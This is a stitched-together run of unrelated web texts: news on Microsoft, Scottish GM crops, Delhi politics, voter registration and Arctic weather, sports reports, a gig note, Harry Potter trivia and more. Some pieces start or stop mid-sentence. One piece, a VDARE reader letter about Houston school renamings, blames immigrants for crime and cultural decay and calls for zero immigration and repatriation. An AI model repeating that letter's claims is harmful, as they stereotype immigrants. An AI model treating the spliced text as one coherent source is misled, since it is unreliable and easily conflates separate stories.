4th December, 2012 - 13th Note, Glasgow Partial field recording of the RFPB. This was a strange gig, we had booked the venue to run it for a friend who was on tour, but in the end he didn't want to play the 13th Note 'again', so we did our own show instead rather than being out of pocket. Line up for this gig was Me (Electric guitar>, Dan (bass), Woody (drum), Rach (Backing vocals) and Gareth McNicol (Acoustic guitars). Daniel Versus the World guests on As You Are. It was a rough performance from us (we hadn't rehearsed much as we didn't want to play shows until the album was out), but I think people who came along had fun. Too much talking from me! Setlist: The Replacement, Dancing Two-Step, Tacitus, Call off the coastguards, She dreams of Toronto, Heterosexuality is a construct (ONSIND cover), Mother's House, Mirrors, As You Are [Y], Spirit Mahone, Oliver's Army (Elvis Costello cover). Zip File (MP3, 192kps)Microsoft is holding a special Windows 10 and Surface event in New York City later this month. The software giant has started emailing out invites to an event on October 26th, and Microsoft is expected to make some Xbox-related announcements at the event, alongside new Surface hardware and some details on the company's next Windows 10 software update. Microsoft's event isn't expected to be as large, or involve as much hardware, as its huge amount of announcements last year.
Surface-branded keyboards and a mouse have started leaking ahead of Microsoft's event, and the company is widely expected to be unveiling at least one new all-in-one desktop PC. Sources familiar with Microsoft's plans tell The Verge that the company isn't planning to refresh its Surface Pro 4 or Surface Book devices at the event, and will showcase laptops and devices from OEMs instead.
The main focus of the event will be the unveiling of Microsoft's vision for the future of Windows 10, and the company's desktop PC hardware to support it. Microsoft is expected to detail new features in Windows 10 that it plans to ship in two major software updates next year, and discuss how some of those features feed into its Xbox gaming strategy across both platforms. The Verge will be live from Microsoft's event in New York City on October 26th, so stay tuned for our live blog.
Top Windows 10 Anniversary Update FeaturesFrom: A West Texas Reader [Email him]
The link below tells of the Houston "Independent School District" (HISD) board voting to do away with some of its Confederate-related school names.
First it was school mascots, now it's the names of the schools themselves. The Houston ISD Board of Trustees has approved a plan to change the names of four schools named after Confederate figures. Henry Grady Middle School, Richard Dowling Middle School, Thomas "Stonewall" Jackson Middle School, and Lee High School will all have to change names. Four other schools named for Confederate figures—Albert Sidney Johnston Middle School, Sidney Lanier Middle School, Jefferson Davis High School and John Reagan High School—were removed from the list to allow more time for input from the community. The push for the name changes originally began last summer. The final 5-4 vote came after more than an hour of impassioned public comment both for and against the proposals. One woman said, "We will be making things better now and we will be shaping the history that people will one day read about us—I encourage you to change these names...my time is up and so it the Confederacy's! [Links in original.] Four HISD Schools to Change Names | All Named After Confederate Figures, By Corey Olson, KTRH, January 15, 2016
We may take cold comfort the vote was 5-4, rather than unanimous. At least one board member spoke up to say the board had more pressing matters. I shudder to think of what names will be adopted in place of the censored names. Hugo Chavez Middle School? Fidel Castro Elementary? General Santa Anna High School?
There is one reason this is happening. As other VDARE letter writers have noted, mass immigration has "transformed" Houston from a pleasant and safe Southern city with a distinctive Texan/Southwestern identity, can-do culture, and civic involvement to just another bland "international" sprawl of mushy multi-culti mish-mash, suffering increased crime, with its former positive culture shoved aside by new arrivals who have little connection here and little to no civic concern.
Figures from Rice University show Houston was 70% "Anglo" in 1970, in 2010 it was 33% "Anglo".
The report by Rice U. (the Kinder Houston Area Survey) blathers on about "trends that are rapidly refashioning the social and political landscape" as if said trends were a natural occurrence instead of forced.
Of course no mention if American citizens ever asked for our identities to be destroyed by foreigner.
The ideal number of immigrants each year is ZERO.
We should also begin a vigorous program to repatriate recent arrivals back to their homes and families in other countries. Pay them a bonus, it will be a net economic/cultural gain for both sides.
See previous letters from the same reader.In an article published today in the Proceedings of the National Academy of Sciences, researchers from the University of Texas developed a microscopic 3D printing strategy to study communication between different species of bacteria.
It has long been known that bacteria communicate with each other by releasing and absorbing chemicals in their surroundings - but these chemical signals travel only very small distances, which has made studying them on traditional 2D plates challenging.
The researchers used a laser-based technique to build containers in gelatin for bacteria in almost any 3D shape.
Gelatin, a very porous material, allows chemicals to pass freely between the containers.
“We believe this development will become a valuable tool in understanding behavioural complexity in polymicrobial infections, such as those that can take root in chronic wounds,” the paper’s lead author and professor of chemistry Jason Shear said.
“How arrangement may influence the virulence of populations within such communities is of fundamental scientific interest, and insights that may derive from systematic studies has the potential to inform therapeutic strategies.”
Mark Blaskovich, a senior research officer at the Institute for Molecular Bioscience at the University of Queensland (who was not involved with the study), also noted the method provides a very good way of studying how bacteria interact chemically.
“In the real world, bacteria grow under a wide range of conditions,” he said.
“They are often found in small spaces surrounded by tissue and cells, and in the presence of other bacteria. Simulating this in the laboratory is very difficult, which is why our understanding of how bacteria communicate with each other or behave in different environments is very limited.”
Jodi Connell
Dr Blaskovich was concerned that the new technique will not be widely available for research. He notes that it requires highly specialised equipment, too expensive for most labs.
An important use of the 3D printing method will be in the battle against antibiotic resistant bacteria, the so-called “superbugs”.
“The authors of the publication have already shown that small populations of one type of drug-resistant bacteria can directly influence a non-resistant strain - not by passing on genes for antibiotic resistance, but by chewing up the antibiotic before it reaches the other bug,” Dr Blaskovich said.
Communication between bacteria also controls how virulent an infection turns out to be. Understanding how bacteria talk to each other will help patients with many diseases, like cystic fibrosis.
Andrea O'Connor, associate professor of chemical and biomolecular engineering at the University of Melbourne and also not involved with the study, said a wide range of 3D printing techniques are currently being investigated, enabling the printing of biomaterials including polymers, hydrogels, ceramics and metals.
“3D printing technologies have many potential applications in biomedical research and in development of medical devices, biosensors, drug delivery systems and even in repair and regeneration of tissues and organs,” she said.
“Recently researchers have also developed methods to print biological cells and cell aggregates in 3D arrangements like sheets and hollow tubes. The work reported in this paper takes an alternative approach - instead of printing the cells themselves, the authors suspended the cells in a gel and then used a laser beam to crosslink or set regions of the gel surrounding selected bacterial cells.”The Scottish government has announced plans to ban genetically modified (GM) crops from being grown in Scotland, as part of an effort to protect its "clean and green brand." In a statement released Sunday, Scottish Rural Affairs Secretary Richard Lochhead said the government would pursue the ban under new EU regulations that allow states to opt out of growing approved GM crops.
There is broad scientific consensus that foods from genetically modified organisms (GMOs) are safe to eat, and GM crops are widely grown across Asia and the Americas. GMO advocates say they could boost global food production, but the issue remains divisive in Europe, amid concerns over their environmental impact.
"GM policy in Scotland should be guided by what’s best for our economy."
Lochhead echoed those concerns Sunday, saying the potential benefits of GM crops don't outweigh environmental risks, and pointing to low demand for GM crops among Scottish consumers. The English government has already stated its intent to allow some GM crops to be grown for commercial purposes.
"The Scottish government has long-standing concerns about GM crops – concerns that are shared by other European countries and consumers, and which should not be dismissed lightly," Lochhead said. "I firmly believe that GM policy in Scotland should be guided by what’s best for our economy and our own agricultural sector rather than the priorities of others."
Ban will not extend to research
Scotland's ban would cover EU-approved GM maize and six other crops that are awaiting approval, but The Guardian reports that it would not extend to GM crops used for scientific research. "These changes would not affect research as it is currently carried out in Scotland, where the contained use of GM plants is permitted for scientific purposes, for example in laboratories or sealed glasshouse facilities," a government spokeswoman tells the paper.
The move has been welcomed from environmental groups, but Scotland's farming union expressed disappointment, saying the ban would put Scotland at a disadvantage. "Other countries are embracing biotechnology where appropriate and we should be open to doing the same here in Scotland," Scott Walker, head of the farming union NFU Scotland, tells the BBC. "These crops could have a role in shaping sustainable agriculture at some point and at the same time protecting the environment which we all cherish in Scotland."No sooner had the ink dried on my last column — about the new Dave Eggers’s novel “The Circle,” in which he imagines a world without privacy — than Facebook announced two changes to its privacy settings. In its short nine-year existence, Facebook has made many changes to its privacy policies, of course. More often than not, the changes have enabled the company to monetize the rich trove of data it collects from its users. When you get right down to it, that’s really all it has to sell.
As these things go, these particular changes were less than earth-shattering: the first would make everyone’s news feed searchable; the second would allow teenagers to share their latest thoughts or videos not just with their “friends,” or their “friends of friends,” but with anyone who uses Facebook. Previously, under-18 users of Facebook were restricted to sending posts to “friends of friends” — a category that, admittedly, can run into the thousands for many teenagers.
Still, it felt as though Facebook was making at least some small effort to establish boundaries beyond which teens couldn’t go: a zone of safety to protect them from predators and bullies. Now, it seemed, all bets were off. (In fairness, I should note that the default setting for teenagers is “friends,” which is restrictive, and that users under 18 have to change their setting to be able to share information publicly.)
Whenever Facebook makes a change like this, it is always accompanied by some highfalutin rationale. Sure enough, the company says that the move will amplify the voices of young activists and idealists.On Michelle Obama's final day as First Lady, designers celebrated her mark on American fashion with hand-written thank you letters. WWD rounded up some of the designers who dressed the First Lady over the years and asked them each to write a note celebrating her legacy—the end result was heartfelt, to say the least.
Seven designers, including Jason Wu, Joseph Altuzarra, Christian Siriano, Monique Lhuillier, Jenna Lyons, Prabal Gurung and Marchesa's Georgina Chapman and Keren Craig, submitted their own letters expressing thanks to Mrs. Obama.
Jason Wu, who designed the First Lady's 2008 inaugural gown, wrote a moving note:
"Thank you for your amazing support for not only me, but for every creative who dreams in this country. You inspire me and I am so proud to play a small part in your most extraordinary legacy. I can proudly say that I've reached my American Dream."
Michelle Obama in Jason Wu at the 2009 Inauguration Getty Images
In his letter, Prabal Gurung clung to the hope that Obama would someday run for president herself, writing, "Thank you for letting us be part of your history. See you in 4 years as our first female president."
Jenna Lyons of J.Crew, whose cardigans and pieces the First Lady wore many times over the years, took a more artistic direction in writing her inspiring thank you note:
Read all the designers' letters to FLOTUS on wwd.com.Would you like a side of Bergman and vinyl records with your "screw you" to Facebook?
Yes, yes you would.
Ditching Facebook has become a new, elitist form of "conspicuous non-consumption," on par with refusing television, argues New York University assistant professor Laura Portwood-Stacer in a recent article published in the Journal of New Media and Society. Once upon a time, being on Facebook meant you were hip. Now, not having a Facebook account is the status symbol -- at least to some.
Based on interviews with 20 Facebook non-users and analysis of Facebook-quitter confessionals, Portwood-Stacer examines why people leave Facebook, how they communicate their rejection and how their abstention comes across.
"[T]he question is," she writes, "Can refusal make a persuasive point about one's values where media consumption is concerned, or does it just end up making one look like 'a giant douchebag'?"
Most often it can't, and most often it does: Quitting Facebook is cool, but, like popping your collar or wearing a fedora, you'll probably look ridiculous to all but a select group.
While the non-users themselves might feel good about signing off, their family and friends are more likely to be annoyed by the inconvenience it poses, hurt at being left behind and irritated by the "holier than thou" and "hipper than thou" signals it sends. Even those abstainers who leave the social network for moral reasons -- i.e. they object to Facebook's privacy policies, its politics, its stance on free speech, its corporate governance -- get lumped in with the "giant douchebags."
"Many Facebook refusers actually revel in their difference from the mainstream, seeing it as a mark of distinction, superior taste, and identification with an elite social stratum. This is consistent with Krcmar's finding that families who chose not to consume television'share a belief that they were iconoclasts, and for the most part, they relished that role,'" writes Portwood-Stacer. Yet she concludes "[Q]uitting is a limited tactic for those who would strategize against Facebook and other hegemons of media culture."
Like tossing out the boob tube or insisting on going around without a cell phone, ditching Facebook, though embraced as a kind of counter-culture status symbol by those who quit, smacks of elitism to others, in part because it suggests whoever quits has enough social cachet or stature to make socializing on Facebook unnecessary. They're too busy, too important to have to be beholden to posting photos or status updates. (Quick, someone tell the Rich Kids of Instagram.)
Portwood-Stacer suggests that being able to de-Facebook "is a privilege itself," an argument also put forth by Alice Marwick, an assistant professor at Fordham University.
"The publicly stated choice to abstain from Facebook is also socially meaningful in that it implies a certain level of cultural and economic capital to be able to choose not to access a social media technology as a way to make a statement," Portwood-Stacer writes (emphasis the author's).
In a blog post published in 2011, Marwick posits there's a "cost of opting out," particularly among certain communities.
"While I have zero love for Facebook, I stay on it because otherwise I'd miss out on 75 percent of the invitations in my friends group," writes Marwick. "And I don’t think it’s for anyone else to say that I should expect my friends to cater to my socially abnormal preference, or that I should prioritize my own personal irritation at Facebook over the very human impulses to connect and socialize."Analysis of the Über Ridge over Alaska on Friday morning from the GFS model. (weatherbell.com)
It’s really cold across the U.S. this week. Temperatures have been running up to 40 degrees below average in the central U.S., and that cold air is now seeping east. Another Arctic invasion, which is expected to be even chillier than this week’s for the eastern states, is expected early next week.
But that’s only half the story.
If you’re looking for where all the warm air went, take a look in the Arctic, where surface temperatures are running up to 40 degrees above average.
Low temperatures were well below the freezing mark (blue) across much of the Lower 48 on Friday morning. (NOAA)
Casper, Wyo., bottomed out at an incredible minus 27 degrees on Wednesday night, blowing away the old all-time November cold record by six degrees. The polar plunge led the Cheyenne Weather Service office to write one of the longest record event reports I’ve ever seen, chronicling the week’s milestones.
Arctic Invasion: Today is coldest of season so far, but worse is yet to come for D.C.
Meanwhile in the Arctic Circle, lows were a balmy 23 degrees on Thursday morning in Barrow, Alaska — the furthest north weather station in the U.S. — a full 50 degrees warmer than they were in the Lower 48. Dozens of daily high records have been set this week across Alaska.
Surface temperature departure from average on Friday morning over the Arctic. (weatherbell.com modified by CWG)
Blame the meteorological flip flop on an über-ridge of high pressure that has built up the west coast of North America into the Arctic Circle. It’s also considered an “Omega block,” since the flow pattern forms an Omega on weather maps.
This week, the jet stream has been towering into the Arctic before crashing down into North America, bringing all of that cold, polar air with it.
Excuse me, Arctic? We’d like our jet stream back. (weatherbell.com)
In fact, the über-ridge is so über-y, it’s shattering Alaska records. Pardon me for a moment while I weather-geek out.
The Weather Channel’s Stu Ostro pointed out this morning that temperatures measured at 5,000 feet blew away the old records in Fairbanks, Alaska, by almost two degrees Celsius. You can see how significant this event is by looking at the previous records he lists, which were only broken by fractions of degrees.
850 mb November temperature record over Fairbanks shattered at 12 & 00 UTC in association with the über ridge pic.twitter.com/LcwmQl15UC — Stu Ostro (@StuOstro) November 14, 2014
This weather reversal was brought to you by the Bering Sea storm, which pummeled the North Pacific just under a week ago. While that storm was exploding in intensity, it was also forming a massive ridge over western North America. Sea surface temperatures along the West Coast are running up to five degrees above average, and the storm channeled that warmth northward into the Arctic.
But what goes up must come down, a saying that is very appropriate for our weather this week. As that massive ridge was building north into the high latitudes, the cold, Arctic air that used to be up there had nowhere to go but south. Hence, record-smashing cold.
Unfortunately this pattern is forecast to stick around for at least another week, and the Lower 48 are in for another chilly treat on Monday and Tuesday, and this time, the East Coast won’t get off so easy.NEW DELHI: In the midst of a raging row over his powers vis-a-vis AAP government, Delhi's LG has been given absolute powers by the Centre in appointment of bureaucrats for which he need not "consult" the chief minister on subjects like senior officers, police and public order.This decision is apparently aimed at preventing the AAP government from filing cases similar to the one against former petroleum minister M Veerappa Moily and a few central government officials in the natural gas issue in February 2014.The gazette notification issued by the home ministry late last night said the LG will have jurisdictions over matters connected with services, public order, police and land and he may consult with the chief minister whenever he thinks necessary on issues of services using his own "discretion".It is well established that where there is no legislative power, there is no executive power since executive power is co-extensive within legislative power, it said."Public order, police, land and services fall outside purview of legislative assembly of the national capital territory of Delhi and consequently the government of NCT of Delhi will have no executive power" on such matters, accordingly to the notification.The gazette notification said the LG shall in respect of matter connected with public order, police, land and services exercise the powers and discharge the functions of the central government to the extent delegated to him from time to time by President provided that the LG may in his discretion obtain view of the chief minister of Delhi in regard to the matter of "services" wherein he deems it appropriate.The notification made it clear that it superseded a 1998 notification which had allowed the LG to "consult" with the chief minister in all matters except in those cases where he did not consider "expedient" to do so."In pursuance of the powers conferred under clause (1) of Article 239 of the Constitution, the President, hereby, directs that subjects to his control and until further orders, the LG of NCT of Delhi, shall in respect of matters connected with 'public order', 'police' and'services' exercise the powers and discharge the functions of the central government, to the extent delegated from time to time to him by the President, in consultation with the chief minister of the NCT of Delhi except in those cases where, for reasons to the recorded in writing, he does not consider it expedient to do so," the September 24, 1998 notification said.The appointment of senior bureaucrat Shakuntala Gamlin as acting chief secretary by LG last week had triggered a full-blown war between the ruling AAP and Najeeb Jung, with Kejriwal questioning the LG's authority and accusing him of trying to take over the administration.Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Police discovered a Llanelli man was growing cannabis plants after carrying out a search warrant at his home.
Matthew James Cooper’s Maengwynne home was raided by officers on August 23, who found 1.05 grams of cannabis in his living room.
And in an upstairs bedroom, they found eight cannabis plants in a growing tent, which they seized along with lighting equipment used to grow the plants.
The 36-year-old was interviewed by police and he admitted he had fed and watered the plants and planned to smoke them himself.
He said he grew his own because “he did not want to deal with anyone in the street”.
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He pleaded guilty to being concerned in the control of cannabis and another count of possessing the class B drug.
Mitigating, Laura Sherwood, said: “He did not try to prevaricate in any way |
investigation into so-called state capture‚ which President Jacob Zuma is trying to suppress”.
The BBC story emerged as Van Rooyen – the finance minster for five days in December before being replaced by Pravin Gordhan after a market collapse – approached the North Gauteng High Court to get an interdict preventing Madonsela issuing her findings.
The report said “sources close to Madonsela say evidence gathered from cellphones show that the man chosen to succeed a popular finance minister who was dramatically sacked last year‚ had spent the previous evening at the home of the Guptas – a wealthy Indian business family alleged to wield influence over the president”.
The BBC report went on to say “recordings allegedly reveal that the night before … Nene was sacked last December‚ the man who was selected to succeed him was drinking tea with the Guptas at their home in Johannesburg”.
Madonsela’s counsel‚ Azhar Bham SC‚ said in court on Friday that while her state capture report had been finalised and signed‚ she would not be releasing it as planned as a “courtesy to the court”.
After four opposition parties approached the court to oppose Van Rooyen’s move‚ Judge Dawie Fourie suggested the matter be stood down until next week so it could be heard with Zuma’s application.
– TMG DigitalAutomatic Registration Is The Latest Chapter In Fight Over Voting Rights
Enlarge this image toggle caption David Goldman/AP David Goldman/AP
President Obama backed a bill in Illinois last week that would automatically register people to vote when they apply for a driver's license or state ID.
"That will protect the fundamental right of everybody," he said. "Democrats, Republicans, independents, seniors, folks with disabilities, the men and women of our military — it would make sure that it was easier for them to vote and have their vote counted."
But so far, support for automatic voter registration — now being considered in about two dozen states — has pretty much broken down along party lines. Democrats, including Hillary Clinton, generally think it's a great way to expand the electorate, as does Bernie Sanders. But Republicans are far more wary. Some say they're worried it could expose voter rolls to mistakes and fraud.
And there's a philosophical divide, too. Alabama Secretary of State John Merrill, a Republican, says it's important that citizens take the initiative when it comes to registering.
"If they just get it, because they're turning a certain age, it kind of takes away from the value that should be associated with the ability to participate," he said. "Because it's a privilege to participate in the electoral process in our state and in our nation, and people need to recognize that."
Unspoken, is the concern over which, if any, group might benefit from the change. Will more Democrats or Republicans be signed up if it's done automatically at the DMV?
And it's not just party breakdown at stake. New York City lawmakers are worried that Gov. Andrew Cuomo's automatic voter registration plan will skew voter rolls in favor of the suburbs and rural areas — where residents are more likely to go to the DMV for a driver's license.
That's why everyone is closely watching what happens in Oregon, the first state to enact automatic voter registration. (California has passed an automatic voter-registration law, but it won't go into effect for at least a year.)
Oregon launched its system Jan. 1, and Secretary of State Jeanne Atkins, a Democrat, says, "So far, so good." She told other secretaries of state meeting in Washington, D.C., last week that initial results have been promising. More than 4,000 new voters were registered in the first six days — compared to an average 2,000 new registrations each month under the old system.
She said of those automatically signed up, about 7 percent have opted out so far. The state sends everyone a follow-up letter giving them that option, so no one is forced to be registered.
Atkins said there have been two surprises with the new system. First, her office was expecting a lot of calls from confused or angry people wondering why they were automatically registered to vote. She said it hasn't happened. In fact, her office sent home one of the temps hired to man the phones.
The other surprise is that the new system has allowed the state to immediately update 17,000 existing voter registrations to reflect changes of address. Under the old system, it could take months, even years, before the voter rolls were updated when someone moved within the state — a big problem in a state that conducts its elections by mail.
"They may have moved two or three times since the last election but never notified us and we get a lot of undeliverable ballots," says Atkins. "We think that's a loss for the people who should be able to vote and this system is going to help a great deal."
Questions about how automatic voter registration will work are similar to those raised a few years ago about the impact of online voter registration. Some people thought it would favor one party over the other, but so far, that hasn't happened. So while only two states allowed residents to register online in 2008, more than 30 states allow it today. And several more are about to do so.
Washington Secretary of State Kim Wyman, a Republican, thinks there could be bipartisan support for some forms of automatic voter registration as well.
She says using the DMV to automatically register voters in Washington is a "nonstarter" for Republicans because the state doesn't require residents to prove they are legal citizens when they get a regular driver's license. But she notes that those who apply for a commercial driver's license or use the Washington Health Benefit Exchange do have to prove citizenship.
So Wyman and some state lawmakers are pushing legislation that would allow those agencies to automatically sign people up to vote. She says it could register hundreds of thousands of new voters in a secure way.
"I think we're touching on both the Republican issues and the Democratic issues in a balanced way," Wyman said. "And I think we've found kind of the sweet spot between the two, and we'll see how it goes!"The books, movies, and play exploring the Harry Potter universe aren’t enough to satisfy some fans. Readers are ravenous for extra content, and J.K. Rowling has never been stingy about sharing it. Since publishing the series, she’s made several post-Potter revelations detailing tidbits that never made it into the official books. She’s also discussed a handful of early characters that were written out of the stories before they went to print. Here are the characters Rowling couldn’t find room for in the wizarding world.
1. MAFALDA
Hermione spends much of the Goblet of Fire coaching Harry through the Triwizard Tournament, flirting with Viktor Krum, and founding S.P.E.W. (the Society for the Promotion of Elfish Welfare). But in early drafts, she also spent time butting heads with Ron’s cousin. Mafalda was the daughter of Arthur Weasley’s second cousin, who’s briefly mentioned in the Sorcerer's Stone. In the fourth book, she was originally meant to stay with the Weasley clan for part of the summer and accompany them to the Quidditch World Cup. It soon became clear why her parents pawned her off on their relatives: Mafalda was a huge brat. "She turns out to be the most unpleasant child Mrs. Weasley has ever met," the author wrote at jkrowling.com.
She was also a Slytherin—a break in tradition for the Weasley name. But her house made her a useful resource to Harry, Ron, and Hermione. The 11-year-old was to be an excellent eavesdropper, and any valuable information she overheard from the children of Death Eaters she conveyed to her cousin and his friends in an attempt to impress them. Had she made it into the books, Mafalda may have become one of Hermione’s greatest rivals at Hogwarts. "The best thing about Mafalda was that she was a match for Hermione," Rowling wrote. "To the latter's horror, Mafalda was highly gifted and a real show-off, so that Hermione was torn between deploring the rule-breaking and longing to join in and beat her."
Even though J.K. Rowling was fond of the character, Mafalda didn’t make it into the finished story. Having a first-year student, albeit a clever one, gather the intel necessary to move the plot forward proved too difficult to write. Rowling ended up creating the gossip journalist Rita Skeeter to fill the role instead.
2. MOPSY THE DOG LOVER
Warner Bros.
The Potterverse is full of animal lovers, including fantastic beast-collector Hagrid and crazy cat lady Mrs. Figg. Another pet enthusiast was nearly added to the mix in Goblet of Fire. According to Rowling, the character, named Mopsy, was “a highly eccentric, dog-loving old witch” who “kept a pack of ill-assorted dogs [and] was on constant bad terms with her neighbors because of the barking and the mess.” When Mopsy saw Sirius in disguise as Padfoot, she took him for a stray and brought him into her flea-ridden home outside Hogsmeade.
Sadly, readers were never introduced to Mopsy. The book’s editor asked for the character to be cut because she didn’t add much to the plot—and Rowling had to agree. Instead, she gave Sirius an isolated cave to stay where Harry, Ron, and Hermione could discuss Barty Crouch Jr. without fear of being overheard.
3. PYRITES
Warner Bros.
In one early draft of the series’s opening chapter, Rowling gave Voldemort a servant named Pyrites, which means “fool’s gold.” His job was to meet Sirius Black outside the Potters’ house at the time of their murder. As Rowling wrote on her website, “he was a dandy and wore white silk gloves, which I thought I might stain artistically with blood from time to time.” The character was a victim of the editing process, along many other early attempts at the first chapter.
4. MOPSUS
Another character included in early drafts of the Sorcerer's Stone was Mopsus, a blind wizard who was skilled at predicting the future, or divining. (He had no relation to Mopsy as far as we know—his name came from the famous seer of Greek mythology.) He was so talented that his abilities threatened to complicate the plot. Rowling said at a 2005 press conference, “If there was somebody who really could do divination at the time that Harry was alive, it greatly diminished the drama of the story because someone out there knew what was going to happen.”
The gifted but incompetent Professor Trelawney took his place as the series’s most prominent seer. In book four, Rowling recycled many of the traits she envisioned for Mopsus when writing Mad-Eye Moody.
5. DUDLEY’S WIZARD SON
Warner Bros.
There could have been one more family at King’s Cross during the series’s epilogue. She considered giving Dudley Dursley a magical child for him to send off to Hogwarts at the same time as his cousin. Rowling ultimately abandoned the thought, writing on her website that “a short period of reflection convinced me that any latent wizarding genes would never survive contact with Uncle Vernon’s DNA.” Wizard child or no wizard child, Dudley remains on “Christmas Card” terms with Harry throughout his adulthood, according to Rowling.
6. PROFESSOR TROCAR
The world of Harry Potter is filled with ghosts, goblins, and werewolves. Vampires, though they exist in the universe, don’t show up as often. As Rowling explained on Pottermore, “The vampire myth is so rich, and has been exploited so many times in literature and on film, that I felt there was little I could add to the tradition.” She did, however, toy with the idea of writing a blood-sucking professor when first brainstorming the Hogwarts staff.
Professor Trocar wasn’t fully fleshed out—Rowling didn't even land on a subject for him to teach. Most of the time she invested in the character was spent picking out a name. A trocar is a sharp tool used to drain bodily fluids from a patient—an appropriate choice for a character who feeds on blood. Rowling made it clear that Trocar was not an early version of Snape, crushing the hopes of any “Snape-is-a-secret-vampire” fan theorists still out there.
7. HERMIONE’S SISTER
Warner Bros.
Rowling never intended to make Hermione an only child. As she told the BBC in a 2004 interview, she always imagined Hermione as having a younger sister. After publishing a few books that contained no mention of the second Granger child, though, Rowling figured it was too late to introduce her in a graceful way. Her omission was probably for the best: It meant Hermione had one less family member to obliviate in the final book.72nd Congress (1931–1933)1
Congressional Profile Total Membership: 435 Representatives
2 Delegates
3 Resident Commissioners Party Divisions:* 216 Democrats
218 Republicans
1 Farmer-Labor *Party division totals are based on election day results. Election Statistics, 1930 [PDF] /tiles/non-collection/s/speaker_garner_2005_016_039.xml
About this object Collection of the U.S. House of Representatives
Congress Overview
After 14 Members-elect died between Election Day 1930 and the start of the 72nd Congress (1931–1933), Democrats won enough special elections to take control of a narrowly divided House. Republicans retained their Senate majority by one seat. Congress responded to the Great Depression and established the Reconstruction Finance Corporation to provide loans to banks and industry, but President Herbert Hoover vetoed regional public works projects. Unemployed World War I veterans marched on the capital, but Congress refused to fast-track the “bonus” payments they had been promised. Hoover later ordered the Army to evict the veterans from their Washington camps.
Member Information Biographical Directory of the U.S. Congress, (1774–2005), Official Annotated Membership Roster by State with Vacancy and Special Election Information for the 72nd Congress. [PDF]
Learn more about the House of Representatives with an interactive map Learn more about the People of the People's HouseOne year ago to the day Team Canada lost the opener of the world junior hockey championship, an omen perhaps to the worst showing for the country in almost 20 years.
The Canadians got it right this year, sailing past the Russians 5-3 in their first game of the tournament on Monday.
Canada scored three power-play goals, including a pair by captain Dylan Strome, and outshot their long-time international rivals 37-17.
"It's a good start for us," said Strome, one of five returning players from the 2016 squad. "I think we were really ready to play and we were really prepared for Russia and we'll be prepared for Slovakia [Tuesday] night."
Shut out of the medal hunt in three of the past four world junior tournaments, this was the kind of mostly emphatic start the Canadians needed. Canada dropped their opener to the Americans last December in Finland and eventually finished sixth, the worst result for the country since an eighth-place outcome in 1998.
Russian defenceman Mikhail Sergachev was only slightly impressed.
"They're a pretty fast team," said Sergachev, a Montreal Canadiens prospect who scored the first Russian goal. "But we can beat them all the time because they get weak in the second and third periods. They're just pretty good in the first."
Canada indeed started fast, bursting out of the gate at Air Canada Centre with speed and energy. The Canadians outshot the Russians 7-1 over the first seven minutes or so of regulation, with Tyson Jost getting on the board after just three minutes had ticked by.
Attack mode
Canada continued to attack the Russians with good pace, forcing turnovers and creating scoring opportunities.
"We expect that, with the speed we have," head coach Dominique Ducharme said. "It's part of our identity."
Russia halted the momentum around the midway point of the period when Denis Guryanov, a Dallas Stars first-round pick, won a puck battle in the Canadian corner. He then dished it to Sergachev, the 18-year-old blue-line prospect picked ninth overall at the 2016 draft, and he whipped a shot from above the slot which beat Canadian netminder Carter Hart.
It was only the Russians' second shot, Hart seemingly unable to pick it up cleanly through a maze of bodies.
Russia got its best pressure of the second frame with Thomas Chabot in the box for slashing and the score still tied at one. But the Canadians survived, a key Blake Speers blocked shot aiding in the nervous final moments of the Russian advantage.
Canada's efforts rewarded
Strome, who called Speers Canada's hardest working player in the win, scored on a power play a short while after his teammate's short-handed efforts.
Nicolas Roy upped the Canadian lead to two less than four minutes after that. Fighting for control of the puck with a Russian in the slot, the six-foot-four, 193-pound centre quickly shot it after he gained control, beating Samsonov.
Canada struck again on an early power play in the third, a highlight-worthy play from Mathew Barzal. He stormed to the left in the area just in front of Samsonov, sending the shot in the opposite direction, the attempt just sailing over the glove of the Russian netminder. Barzal was fed from behind the net by Pierre-Luc Dubois.
After the Russians cut it to 4-2, Strome increased the lead back to three on yet another man advantage, the Arizona Coyotes' top prospect scooping up a Barzal rebound for the Canadians' third power-play tally of the game.
"We just kept saying, 'if we're getting the opportunities they're going to go in eventually"', Strome said. "Two great plays where I just picked up the trash."WHILE much of Britain is in the midst of a flooding mop-up mission, Newport Gwent Dragons are celebrating the end of a drought.
They headed into the game with Connacht on the back of seven losses – a regional record – and with just whipping boys Zebre beneath them in the RaboDirect Pro12 table.
The Dragons knew that an eighth on the spin was not an option and two long, painful months since Edinburgh were defeated at Rodney Parade they were finally able to toast another victim.
It wasn’t a night for fancy miss moves and flowing rugby – winning ugly was the order of the day and Darren Edwards’ side did just that.
They didn’t make the most encouraging start but defended stoutly and cashed in when the chances came their way.
And it was a brainy performance; once the Dragons got their noses in front they played a smart game to keep their hard-running but rather limited visitors in check.
Fly-half Dan Evans was once again excellent at fly-half, overcoming a shaky start to play a canny game, while the back row put in a fine shift that was full of energy and feistiness.
Flanker Nic Cudd followed up a fine performance against Northampton with a display of desire and commitment at the breakdown, the openside getting through a mountain of work.
The Dragons headed into the game with plenty of confidence courtesy of a good showing against Northampton in the LV= Cup five days previously.
However, they made a nervy start and allowed Connacht to live off their mistakes.
Former Cardiff Blues and Scotland fly-half Dan Parks booted a fourth-minute penalty and dictated play on an evening that was perfect for his kicking game. An already greasy pitch, a pre-match downpour and persistent drizzle played into his hands, or rather his trusty right peg.
The visitors were winning the battle for territory but the game swung the way of the Dragons before half-time.
First full-back Tom Prydie kicked a 25th-minute penalty to level that also saw Jason Harris-Wright yellow-carded and the hooker was swiftly followed to the sin bin by flanker Andrew Browne for use of the boot.
The Dragons made use of their two-man advantage when a patient attack – admirable given the conditions – was finished off by Pat Leach, who slid over in the left corner.
That seemed to settle the nerves of the previously anxious crowd and there were murmurs of cautious content as the hosts headed to the changing rooms with an 8-3 lead.
It got even better six minutes into the second half when Prydie booted the Dragons a score clear as Connacht’s indiscipline cost them again.
Given the rain that was lashing down, all the hosts needed to do was play it smart, to boss territory and keep the Irish province pinned back.
As it has so often this season, Dan Evans’ mammoth left boot proved invaluable to that aim.
And when Prydie booted another penalty to make it 14-3 with half an hour left the Dragons were in a position that they simply had to convert into a win.
The situation stirred Connacht to have their best spell of the game but the defence – with Leach and flanker Nic Cudd prominent – held firm.
But the door was opened slightly for the Irish province when captain Lewis Evans was shown yellow, Mr Vivarini getting fed up with their indiscretions.
